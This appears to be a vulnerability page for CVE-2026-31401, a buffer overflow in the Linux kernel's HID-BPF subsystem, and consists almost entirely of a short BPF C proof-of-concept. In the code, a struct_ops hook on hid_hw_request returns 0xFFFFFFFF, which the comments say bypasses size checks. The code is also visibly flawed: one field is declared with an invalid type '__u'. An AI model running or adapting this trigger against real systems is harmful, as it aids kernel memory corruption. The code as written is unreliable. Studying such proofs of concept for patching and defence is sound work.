CVE-2026-31401 Linux内核HID-BPF缓冲区溢出漏洞

// SPDX-License-Identifier: GPL-2.0 #include <vmlinux.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> // Simplified context structure for demonstration struct hid_bpf_ctx { __u8 data[256]; __u allocated_size; }; // This struct_ops triggers the vulnerability SEC("struct_ops/hid_hw_request") int BPF_PROG(trigger_overflow, struct hid_bpf_ctx *hctx) { // Return an arbitrarily large value to bypass size checks // This value is used in hid_hw_request without validation return 0xFFFFFFFF; } char _license[] SEC("license") = "GPL";